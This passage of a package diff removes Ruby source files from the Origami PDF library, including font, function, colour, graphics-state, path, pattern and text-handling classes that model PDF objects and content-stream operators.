field :BaseFont, :Type => Name, :Required => true - field :Subtype, :Type => Name, :Default => :Type1, :Required => true - - # - # 14 standard Type1 fonts. - # - module Standard - - class TimesRoman < Type1 - field :BaseFont, :Type => Name, :Default => :"Times-Roman", :Required => true - end - - class Helvetica < Type1 - field :BaseFont, :Type => Name, :Default => :Helvetica, :Required => true - end - - class Courier < Type1 - field :BaseFont, :Type => Name, :Default => :Courier, :Required => true - end - - class Symbol < Type1 - field :BaseFont, :Type => Name, :Default => :Symbol, :Required => true - end - - class TimesBold < Type1 - field :BaseFont, :Type => Name, :Default => :"Times-Bold", :Required => true - end - - class HelveticaBold < Type1 - field :BaseFont, :Type => Name, :Default => :"Helvetica-Bold", :Required => true - end - - class CourierBold < Type1 - field :BaseFont, :Type => Name, :Default => :"Courier-Bold", :Required => true - end - - class ZapfDingbats < Type1 - field :BaseFont, :Type => Name, :Default => :ZapfDingbats, :Required => true - end - - class TimesItalic < Type1 - field :BaseFont, :Type => Name, :Default => :"Times-Italic", :Required => true - end - - class HelveticaOblique < Type1 - field :BaseFont, :Type => Name, :Default => :"Helvetica-Oblique", :Required => true - end - - class CourierOblique < Type1 - field :BaseFont, :Type => Name, :Default => :"Courier-Oblique", :Required => true - end - - class TimesBoldItalic < Type1 - field :BaseFont, :Type => Name, :Default => :"Times-BoldItalic", :Required => true - end - - class HelveticaBoldOblique < Type1 - field :BaseFont, :Type => Name, :Default => :"Helvetica-BoldOblique", :Required => true - end - - class CourierBoldOblique < Type1 - field :BaseFont, :Type => Name, :Default => :"Courier-BoldOblique", :Required => true - end - - end - - end - - # - # TrueType Fonts - # - class TrueType < Font - field :Subtype, :Type => Name, :Default => :TrueType, :Required => true - end - - # - # Type 3 Fonts - # - class Type3 < Font - - field :Subtype, :Type => Name, :Default => :Type3, :Required => true - field :FontBBox, :Type => Array, :Required => true - field :FontMatrix, :Type => Array, :Required => true - field :CharProcs, :Type => Dictionary, :Required => true - field :Resources, :Type => Dictionary, :Version => "1.2" - - end - - end - -end diff -Nru origami-1.2.7/lib/origami/functions.rb origami-1.2.7+really0.7.4/lib/origami/functions.rb --- origami-1.2.7/lib/origami/functions.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/functions.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,93 +0,0 @@ -=begin - -= File - functions.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - - -module Origami - - module Function - - module Type - SAMPLED = 0 - EXPONENTIAL = 2 - STITCHING = 3 - POSTSCRIPT = 4 - end - - def self.included(receiver) - receiver.field :FunctionType, :Type => Integer, :Required => true - receiver.field :Domain, :Type => Array, :Required => true - receiver.field :Range, :Type => Array - end - - class Sampled < Stream - - include Function - - field :FunctionType, :Type => Integer, :Default => Type::SAMPLED, :Version => "1.3", :Required => true - field :Range, :Type => Array, :Required => true - field :Size, :Type => Array, :Required => true - field :BitsPerSample, :Type => Integer, :Required => true - field :Order, :Type => Integer, :Default => 1 - field :Encode, :Type => Array - field :Decode, :Type => Array - - end - - class Exponential < Dictionary - - include StandardObject - include Function - - field :FunctionType, :Type => Integer, :Default => Type::EXPONENTIAL, :Version => "1.3", :Required => true - field :C0, :Type => Array, :Default => [ 0.0 ] - field :C1, :Type => Array, :Default => [ 1.0 ] - field :N, :Type => Number, :Required => true - - end - - class Stitching < Dictionary - - include StandardObject - include Function - - field :FunctionType, :Type => Integer, :Default => Type::STITCHING, :Version => "1.3", :Required => true - field :Functions, :Type => Array, :Required => true - field :Bounds, :Type => Array, :Required => true - field :Encode, :Type => Array, :Required => true - - end - - class PostScript < Stream - - include Function - - field :FunctionType, :Type => Integer, :Default => Type::POSTSCRIPT, :Version => "1.3", :Required => true - field :Range, :Type => Array, :Required => true - - end - - end - -end diff -Nru origami-1.2.7/lib/origami/graphics/colors.rb origami-1.2.7+really0.7.4/lib/origami/graphics/colors.rb --- origami-1.2.7/lib/origami/graphics/colors.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/graphics/colors.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,213 +0,0 @@ -=begin - -= File - graphics/colors.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -begin - require 'color' -rescue LoadError -end - -module Origami - - module Graphics - - class InvalidColorError < Exception; end - module Color - - module Intent - ABSOLUTE = :AbsoluteColorimetric - RELATIVE = :RelativeColorimetric - SATURATION = :Saturation - PERCEPTUAL = :Perceptual - end - - module BlendMode - NORMAL = :Normal - COMPATIBLE = :Compatible - MULTIPLY = :Multiply - SCREEN = :Screen - OVERLAY = :Overlay - DARKEN = :Darken - LIGHTEN = :Lighten - COLORDODGE = :ColorDodge - COLORBURN = :ColorBurn - HARDLIGHT = :HardLight - SOFTLIGHt = :SoftLight - DIFFERENCE = :Difference - EXCLUSION = :Exclusion - end - - module Space - DEVICE_GRAY = :DeviceGray - DEVICE_RGB = :DeviceRGB - DEVICE_CMYK = :DeviceCMYK - end - - def self.cmyk_to_rgb(c, m, y, k) - r = 1 - (( c * ( 1 - k ) + k )) - g = 1 - (( m * ( 1 - k ) + k )) - b = 1 - (( y * ( 1 - k ) + k )) - - [ r, g, b ] - end - - def self.gray_to_rgb(g) - [ g, g, g ] - end - - # - # Class representing an embedded ICC Profile stream. - # - class ICCProfile < Stream - field :N, :Type => Integer, :Required => true, :Version => '1.3' - field :Alternate, :Type => [ Name, Array ] - field :Range, :Type => Array - field :Metadata, :Type => Stream, :Version => '1.4' - end - - class GrayScale - attr_accessor :g - - def initialize(g) - @g = g - end - end - - class RGB - attr_accessor :r,:g,:b - - def initialize(r,g,b) - @r,@g,@b = r,g,b - end - end - - class CMYK - attr_accessor :c,:m,:y,:k - - def initialize(c,m,y,k) - @c,@m,@y,@k = c,m,y,k - end - end - - def Color.to_a(color) - return color if color.is_a?(::Array) - - if (color.respond_to? :r and color.respond_to? :g and color.respond_to? :b) - r = (color.respond_to?(:r) ? color.r : color[0]).to_f / 255 - g = (color.respond_to?(:g) ? color.g : color[1]).to_f / 255 - b = (color.respond_to?(:b) ? color.b : color[2]).to_f / 255 - return [r, g, b] - - elsif (color.respond_to? :c and color.respond_to? :m and color.respond_to? :y and color.respond_to? :k) - c = (color.respond_to?(:c) ? color.c : color[0]).to_f - m = (color.respond_to?(:m) ? color.m : color[1]).to_f - y = (color.respond_to?(:y) ? color.y : color[2]).to_f - k = (color.respond_to?(:k) ? color.k : color[3]).to_f - return [c,m,y,k] - - elsif color.respond_to?:g or (0.0..1.0) === color - g = color.respond_to?(:g) ? color.g : color - return [ g ] - - else - raise TypeError, "Invalid color : #{color}" - end - end - end - - end - - class PDF::Instruction - - insn 'CS', Name do |canvas, cs| canvas.gs.stroking_colorspace = cs end - insn 'cs', Name do |canvas, cs| canvas.gs.nonstroking_colorspace = cs end - insn 'SC', '*' do |canvas, *c| canvas.gs.stroking_color = c end - insn 'sc', '*' do |canvas, *c| canvas.gs.nonstroking_color = c end - - insn 'G', Real do |canvas, c| - unless (0..1).include? c - raise Graphics::InvalidColorError, - "Not a valid color for DeviceGray: #{c}" - end - - canvas.gs.stroking_colorspace = Graphics::Color::Space::DEVICE_GRAY - canvas.gs.stroking_color = [ c ] - end - - insn 'g', Real do |canvas, c| - unless (0..1).include? c - raise Graphics::InvalidColorError, - "Not a valid color for DeviceGray: #{c}" - end - - canvas.gs.nonstroking_colorspace = Graphics::Color::Space::DEVICE_GRAY - canvas.gs.nonstroking_color = [ c ] - end - - insn 'RG', Real, Real, Real do |canvas, r,g,b| - c = [ r, g, b ] - unless c.all? {|b| (0..1).include? b} - raise Graphics::InvalidColorError, - "Not a valid color for DeviceRGB: #{c.inspect}" - end - - canvas.gs.stroking_colorspace = Graphics::Color::Space::DEVICE_RGB - canvas.gs.stroking_color = c - end - - insn 'rg', Real, Real, Real do |canvas, r,g,b| - c = [ r, g, b ] - unless c.all? {|b| (0..1).include? b} - raise Graphics::InvalidColorError, - "Not a valid color for DeviceRGB: #{c.inspect}" - end - - canvas.gs.nonstroking_colorspace = Graphics::Color::Space::DEVICE_RGB - canvas.gs.nonstroking_color = c - end - - insn 'K', Real, Real, Real, Real do |canvas, c,m,y,k| - c = [ c, m, y, k ] - unless c.all? {|b| (0..1).include? b} - raise Graphics::InvalidColorError, - "Not a valid color for DeviceCMYK: #{c.inspect}" - end - - canvas.gs.stroking_colorspace = Graphics::Color::Space::DEVICE_CMYK - canvas.gs.stroking_color = c - end - - insn 'k', Real, Real, Real, Real do |canvas, c,m,y,k| - c = [ c, m, y, k ] - unless c.all? {|b| (0..1).include? b} - raise Graphics::InvalidColorError, - "Not a valid color for DeviceCMYK: #{c.inspect}" - end - - canvas.gs.nonstroking_colorspace = Graphics::Color::Space::DEVICE_CMYK - canvas.gs.nonstroking_color = c - end - end - -end # module Origami diff -Nru origami-1.2.7/lib/origami/graphics/instruction.rb origami-1.2.7+really0.7.4/lib/origami/graphics/instruction.rb --- origami-1.2.7/lib/origami/graphics/instruction.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/graphics/instruction.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,104 +0,0 @@ -=begin - -= File - graphics/instruction.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class InvalidPDFInstructionError < Exception ; end - class PDF::Instruction - attr_reader :operator - attr_accessor :operands - - @@regexp = Regexp.new('([^ \\t\\r\\n\\0\\[\\]<>()%\\/]+)') - @insns = Hash.new(:operands => [], :render => lambda{}) - - def initialize(operator, *operands) - @operator = operator - @operands = operands.map!{|arg| arg.is_a?(Origami::Object) ? arg.value : arg} - - if self.class.has_op?(operator) - opdef = self.class.get_operands(operator) - - if not opdef.include?('*') and opdef.size != operands.size - raise InvalidPDFInstructionError, - "Numbers of operands mismatch for #{operator}: #{operands.inspect}" - end - end - end - - def render(canvas) - self.class.get_render_proc(@operator)[canvas, *@operands] - - self - end - - def to_s - "#{operands.map{|op| op.to_o.to_s}.join(' ')}#{' ' unless operands.empty?}#{operator}\n" - end - - class << self - def insn(operator, *operands, &render_proc) - @insns[operator] = {} - @insns[operator][:operands] = operands - @insns[operator][:render] = render_proc || lambda{} - end - - def has_op?(operator) - @insns.has_key? operator - end - - def get_render_proc(operator) - @insns[operator][:render] - end - - def get_operands(operator) - @insns[operator][:operands] - end - - def parse(stream) - operands = [] - while type = Object.typeof(stream, true) - operands.push type.parse(stream) - end - - if not stream.eos? - if stream.scan(@@regexp).nil? - raise InvalidPDFInstructionError, - "Operator: #{(stream.peek(10) + '...').inspect}" - end - - operator = stream[1] - PDF::Instruction.new(operator, *operands) - else - if not operands.empty? - raise InvalidPDFInstructionError, - "No operator given for operands: #{operands.join}" - end - end - end - end - - end -end - diff -Nru origami-1.2.7/lib/origami/graphics/path.rb origami-1.2.7+really0.7.4/lib/origami/graphics/path.rb --- origami-1.2.7/lib/origami/graphics/path.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/graphics/path.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,188 +0,0 @@ -=begin - -= File - graphics/path.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Graphics - - module LineCapStyle - BUTT_CAP = 0 - ROUND_CAP = 1 - PROJECTING_SQUARE_CAP = 2 - end - - module LineJoinStyle - MITER_JOIN = 0 - ROUND_JOIN = 1 - BEVEL_JOIN = 2 - end - - class DashPattern - attr_accessor :array, :phase - - def initialize(array, phase = 0) - @array = array - @phase = phase - end - - def eql?(dash) #:nodoc - dash.array == @array and dash.phase == @phase - end - - def hash #:nodoc: - [ @array, @phase ].hash - end - end - - class InvalidPathError < Exception; end - class Path - - module Segment - attr_accessor :from, :to - - def initialize(from, to) - @from, @to = from, to - end - end - - class Line - include Segment - end - - attr_accessor :current_point - attr_reader :segments - - def initialize - @segments = [] - @current_point = nil - @closed = false - end - - def is_closed? - @closed - end - - def close! - from = @current_point - to = @segments.first.from - - @segments << Line.new(from, to) - @segments.freeze - @closed = true - end - - def add_segment(seg) - raise GraphicsStateError, "Cannot modify closed subpath" if is_closed? - - @segments << seg - @current_point = seg.to - end - - end - - end - - class PDF::Instruction - insn 'm', Real, Real do |canvas, x,y| - canvas.gs.current_path << (subpath = Graphics::Path.new) - subpath.current_point = [x,y] - end - - insn 'l', Real, Real do |canvas, x,y| - if canvas.gs.current_path.empty? - raise InvalidPathError, "No current point is defined" - end - - subpath = canvas.gs.current_path.last - - from = subpath.current_point - to = [x,y] - subpath.add_segment(Graphics::Path::Line.new(from, to)) - end - - insn 'h' do |canvas| - unless canvas.gs.current_path.empty? - subpath = canvas.gs.current_path.last - subpath.close! unless subpath.is_closed? - end - end - - insn 're', Real, Real, Real, Real do |canvas, x,y,width,height| - tx = x + width - ty = y + height - canvas.gs.current_path << (subpath = Graphics::Path.new) - subpath.segments << Graphics::Path::Line.new([x,y], [tx,y]) - subpath.segments << Graphics::Path::Line.new([tx,y], [tx, ty]) - subpath.segments << Graphics::Path::Line.new([tx, ty], [x, ty]) - subpath.close! - end - - insn 'S' do |canvas| - canvas.stroke_path - end - - insn 's' do |canvas| - canvas.gs.current_path.last.close! - canvas.stroke_path - end - - insn 'f' do |canvas| - canvas.fill_path - end - - insn 'F' do |canvas| - canvas.fill_path - end - - insn 'f*' do |canvas| - canvas.fill_path - end - - insn 'B' do |canvas| - canvas.fill_path - canvas.stroke_path - end - - insn 'B*' do |canvas| - canvas.fill_path - canvas.stroke_path - end - - insn 'b' do |canvas| - canvas.gs.current_path.last.close! - canvas.fill_path - canvas.stroke_path - end - - insn 'b*' do |canvas| - canvas.gs.current_path.last.close! - canvas.fill_path - canvas.stroke_path - end - - insn 'n' - end - -end diff -Nru origami-1.2.7/lib/origami/graphics/patterns.rb origami-1.2.7+really0.7.4/lib/origami/graphics/patterns.rb --- origami-1.2.7/lib/origami/graphics/patterns.rb 2013-04-09 13:18:45.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/graphics/patterns.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,181 +0,0 @@ -=begin - -= File - graphics/patterns.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Graphics - - module Pattern - - module Type - TILING = 1 - SHADING = 2 - end - - def self.included(receiver) - receiver.field :Type, :Type => Name, :Default => :Pattern - receiver.field :PatternType, :Type => Integer, :Required => true - end - - class Tiling < ContentStream - include Pattern - include ResourcesHolder - - module PaintType - COLOURED = 1 - UNCOLOURED = 2 - end - - module Type - CONSTANT_SPACING = 1 - NO_DISTORTION = 2 - CONSTANT_SPACING_AND_FASTER_TILING = 3 - end - - field :PatternType, :Type => Integer, :Default => Pattern::Type::TILING, :Required => true - field :PaintType, :Type => Integer, :Required => true - field :TilingType, :Type => Integer, :Required => true - field :BBox, :Type => Array, :Required => true - field :XStep, :Type => Number, :Required => true - field :YStep, :Type => Number, :Required => true - field :Resources, :Type => Resources, :Required => true - field :Matrix, :Type => Array, :Default => [ 1, 0, 0, 1, 0, 0 ] - - end - - class Shading < Dictionary - include StandardObject - include Pattern - - module Type - FUNCTIONBASED = 1 - AXIAL = 2 - RADIAL = 3 - FREEFORM_TRIANGLE_MESH = 4 - LATTICEFORM_TRIANGLE_MESH = 5 - COONS_PATCH_MESH = 6 - TENSORPRODUCT_PATCH_MESH = 7 - end - - field :PatternType, :Type => Integer, :Default => Pattern::Type::SHADING, :Required => true - field :Shading, :Type => [ Dictionary, Stream ], :Required => true - field :Matrix, :Type => Array, :Default => [ 1, 0, 0, 1, 0, 0 ] - field :ExtGState, :Type => Dictionary - - module ShadingObject - def self.included(receiver) - receiver.field :ShadingType, :Type => Integer, :Required => true - receiver.field :ColorSpace, :Type => [ Name, Array ], :Required => true - receiver.field :Background, :Type => Array - receiver.field :BBox, :Type => Array - receiver.field :AntiAlias, :Type => Boolean, :Default => false - end - end - - class FunctionBased < Dictionary - include StandardObject - include ShadingObject - - field :ShadingType, :Type => Integer, :Default => Shading::Type::FUNCTIONBASED, :Required => true - field :Domain, :Type => Array, :Default => [ 0.0, 1.0, 0.0, 1.0 ] - field :Matrix, :Type => Array, :Default => [ 1, 0, 0, 1, 0, 0 ] - field :Function, :Type => [ Dictionary, Stream ], :Required => true - end - - class Axial < Dictionary - include StandardObject - include ShadingObject - - field :ShadingType, :Type => Integer, :Default => Shading::Type::AXIAL, :Required => true - field :Coords, :Type => Array, :Required => true - field :Domain, :Type => Array, :Default => [ 0.0, 1.0 ] - field :Function, :Type => [ Dictionary, Stream ], :Required => true - field :Extend, :Type => Array, :Default => [ false, false ] - end - - class Radial < Dictionary - include StandardObject - include ShadingObject - - field :ShadingType, :Type => Integer, :Default => Shading::Type::RADIAL, :Required => true - field :Coords, :Type => Array, :Required => true - field :Domain, :Type => Array, :Default => [ 0.0, 1.0 ] - field :Function, :Type => [ Dictionary, Stream ], :Required => true - field :Extend, :Type => Array, :Default => [ false, false ] - end - - class FreeFormTriangleMesh < Stream - include ShadingObject - - field :ShadingType, :Type => Integer, :Default => Shading::Type::FREEFORM_TRIANGLE_MESH, :Required => true - field :BitsPerCoordinate, :Type => Integer, :Required => true - field :BitsPerComponent, :Type => Integer, :Required => true - field :BitsPerFlag, :Type => Integer, :Required => true - field :Decode, :Type => Array, :Required => true - field :Function, :Type => [ Dictionary, Stream ] - end - - class LatticeFormTriangleMesh < Stream - include ShadingObject - - field :ShadingType, :Type => Integer, :Default => Shading::Type::LATTICEFORM_TRIANGLE_MESH, :Required => true - field :BitsPerCoordinate, :Type => Integer, :Required => true - field :BitsPerComponent, :Type => Integer, :Required => true - field :VerticesPerRow, :Type => Integer, :Required => true - field :Decode, :Type => Array, :Required => true - field :Function, :Type => [ Dictionary, Stream ] - end - - class CoonsPathMesh < Stream - include ShadingObject - - field :ShadingType, :Type => Integer, :Default => Shading::Type::COONS_PATCH_MESH, :Required => true - field :BitsPerCoordinate, :Type => Integer, :Required => true - field :BitsPerComponent, :Type => Integer, :Required => true - field :BitsPerFlag, :Type => Integer, :Required => true - field :Decode, :Type => Array, :Required => true - field :Function, :Type => [ Dictionary, Stream ] - end - - class TensorProductPatchMesh < Stream - include ShadingObject - - field :ShadingType, :Type => Integer, :Default => Shading::Type::TENSORPRODUCT_PATCH_MESH, :Required => true - field :BitsPerCoordinate, :Type => Integer, :Required => true - field :BitsPerComponent, :Type => Integer, :Required => true - field :BitsPerFlag, :Type => Integer, :Required => true - field :Decode, :Type => Array, :Required => true - field :Function, :Type => [ Dictionary, Stream ] - end - end - end - end - - class PDF::Instruction - insn 'sh', Name - end - -end - diff -Nru origami-1.2.7/lib/origami/graphics/render.rb origami-1.2.7+really0.7.4/lib/origami/graphics/render.rb --- origami-1.2.7/lib/origami/graphics/render.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/graphics/render.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,69 +0,0 @@ -=begin - -= File - graphics/render.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Graphics - - module Canvas - attr_reader :gs - - def initialize - @gs = Graphics::State.new - end - - def clear - @gs.reset - end - - def write_text(s); end - def stroke_path; end - def fill_path; end - end - - class DummyCanvas - include Canvas - end - - class TextCanvas - include Canvas - - def initialize(output = STDOUT, columns = 80, lines = 25) - super() - - @output = output - @columns, @lines = columns, lines - end - - def write_text(s) - @output.print(s) - end - - end - - end - -end - diff -Nru origami-1.2.7/lib/origami/graphics/state.rb origami-1.2.7+really0.7.4/lib/origami/graphics/state.rb --- origami-1.2.7/lib/origami/graphics/state.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/graphics/state.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,164 +0,0 @@ -=begin - -= File - graphics/state.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'matrix' - -module Origami - - module Graphics - - class GraphicsStateError < Exception #:nodoc: - end - - class State - - # - # Device-independent parameters. - # - attr_accessor :ctm - attr_accessor :clipping_path - attr_accessor :stroking_colorspace, :nonstroking_colorspace, :stroking_color, :nonstroking_color - attr_accessor :text_state - attr_accessor :line_width, :line_cap, :line_join, :miter_limit, :dash_pattern - attr_accessor :rendering_intent - attr_accessor :stroke_adjustment - attr_accessor :blend_mode, :soft_mask, :alpha_constant, :alpha_source - - attr_reader :current_path - - def initialize - - @stack = [] - @current_path = [] - @text_state = Text::State.new - - self.reset - end - - def reset - - @ctm = Matrix.identity(3) - @clipping_path = nil - @stroking_colorspace = @nonstroking_colorspace = Color::Space::DEVICE_GRAY - @stroking_color = @nonstroking_color = [ 0.0 ] #black - @text_state.reset - @line_width = 1.0 - @line_cap = LineCapStyle::BUTT_CAP - @line_join = LineJoinStyle::MITER_JOIN - @miter_limit = 10.0 - @dash_pattern = DashPattern.new([], 0) - @rendering_intent = Color::Intent::RELATIVE - @stroke_adjustment = false - @blend_mode = Color::BlendMode::NORMAL - @soft_mask = :None - @alpha_constant = 1.0 - @alpha_source = false - - end - - def save - context = - [ - @ctm, @clipping_path, - @stroking_colorspace, @nonstroking_colorspace, - @stroking_color, @nonstroking_color, - @text_state, @line_width, @line_cap, @line_join, - @miter_limit, @dash_pattern, @rendering_intent, - @stroke_adjustment, - @blend_mode, @soft_mask, @alpha_constant, @alpha_source - ] - @stack.push(context) - end - - def restore - raise GraphicsStateError, "Cannot restore context : empty stack" if @stack.empty? - - @ctm, @clipping_path, - @stroking_colorspace, @nonstroking_colorspace, - @stroking_color, @nonstroking_color, - @text_state, @line_width, @line_cap, @line_join, - @miter_limit, @dash_pattern, @rendering_intent, - @stroke_adjustment, - @blend_mode, @soft_mask, @alpha_constant, @alpha_source = @stack.pop - end - - end - - # - # Generic Graphic state - # 4.3.4 Graphics State Parameter Dictionaries p219 - # - class ExtGState < Dictionary - - include StandardObject - - field :Type, :Type => Name, :Default => :ExtGState, :Required => true - field :LW, :Type => Integer, :Version => "1.3" - field :LC, :Type => Integer, :Version => "1.3" - field :LJ, :Type => Integer, :Version => "1.3" - field :ML, :Type => Number, :Version => "1.3" - field :D, :Type => Array, :Version => "1.3" - field :RI, :Type => Name, :Version => "1.3" - field :OP, :Type => Boolean - field :op, :Type => Boolean, :Version => "1.3" - field :OPM, :Type => Number, :Version => "1.3" - field :Font, :Type => Array, :Version => "1.3" - field :BG, :Type => Object - field :BG2, :Type => Object, :Version => "1.3" - field :UCR, :Type => Object - field :UCR2, :Type => Object, :Version => "1.3" - field :TR, :Type => Object - field :TR2, :Type => Object, :Version => "1.3" - field :HT, :Type => [ Dictionary, Name, Stream ] - field :FL, :Type => Number, :Version => "1.3" - field :SM, :Type => Number, :Version => "1.3" - field :SA, :Type => Boolean - field :BM, :Type => [ Name, Array ], :Version => "1.4" - field :SMask, :Type => [ Dictionary, Array ], :Version => "1.4" - field :CA, :Type => Number - field :ca, :Type => Number, :Version => "1.4" - field :AIS, :Type => Boolean, :Version => "1.4" - field :TK, :Type => Boolean, :Version => "1.4" - - end # class ExtGState - - end #module Graphics - - class PDF::Instruction - insn 'q' do |canvas| canvas.gs.save; canvas.gs.reset end - insn 'Q' do |canvas| canvas.gs.restore end - insn 'w', Real do |canvas, lw| canvas.gs.line_width = lw end - insn 'J', Real do |canvas, lc| canvas.gs.line_cap = lc end - insn 'j', Real do |canvas, lj| canvas.gs.line_join = lj end - insn 'M', Real do |canvas, ml| canvas.gs.miter_limit = ml end - - insn 'd', Array, Integer do |canvas, array, phase| - canvas.gs.dash_pattern = Graphics::DashPattern.new array, phase - end - - insn 'ri', Name do |canvas, ri| canvas.gs.rendering_intent = ri end - end -end - diff -Nru origami-1.2.7/lib/origami/graphics/text.rb origami-1.2.7+really0.7.4/lib/origami/graphics/text.rb --- origami-1.2.7/lib/origami/graphics/text.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/graphics/text.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,242 +0,0 @@ -=begin - -= File - graphics/text.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - module Text - - OPERATORS = - [ - 'Tc', 'Tw', 'Tz', 'TL', 'Tf', 'Tr', 'Ts', # Text state - 'BT', 'ET', # Text objects - 'Td', 'TD', 'Tm', 'T*', # Positioning - 'Tj', "'", '"', 'TJ' # Showing - ] - - module Rendering - FILL = 0 - STROKE = 1 - FILL_AND_STROKE = 2 - INVISIBLE = 3 - FILL_AND_CLIP = 4 - STROKE_AND_CLIP = 5 - FILL_AND_STROKE_AND_CLIP = 6 - CLIP = 7 - end - - class TextStateError < Exception #:nodoc: - end - - class State - - attr_accessor :char_spacing, :word_spacing, :scaling, :leading - attr_accessor :font, :font_size - attr_accessor :rendering_mode - attr_accessor :text_rise, :text_knockout - - attr_accessor :text_matrix, :text_line_matrix, :text_rendering_matrix - - def initialize - self.reset - end - - def reset - - @char_spacing = 0 - @word_spacing = 0 - @scaling = 100 - @leading = 0 - @font = nil - @font_size = nil - @rendering_mode = Rendering::FILL - @text_rise = 0 - @text_knockout = true - - # - # Text objects - # - - @text_object = false - @text_matrix = - @text_line_matrix = - @text_rendering_matrix = nil - - end - - def is_in_text_object? - @text_object - end - - def begin_text_object - if is_in_text_object? - raise TextStateError, - "Cannot start a text object within an existing text object." - end - - @text_object = true - @text_matrix = - @text_line_matrix = - @text_rendering_matrix = Matrix.identity(3) - end - - def end_text_object - unless is_in_text_object? - raise TextStateError, - "Cannot end text object : no previous text object has begun." - end - - @text_object = false - @text_matrix = - @text_line_matrix = - @text_rendering_matrix = nil - end - - end #class State - - end #module Text - - class PDF::Instruction - # Text instructions definitions - insn 'Tc', Real do |canvas, cS| canvas.gs.text_state.char_spacing = cS end - insn 'Tw', Real do |canvas, wS| canvas.gs.text_state.word_spacing = wS end - insn 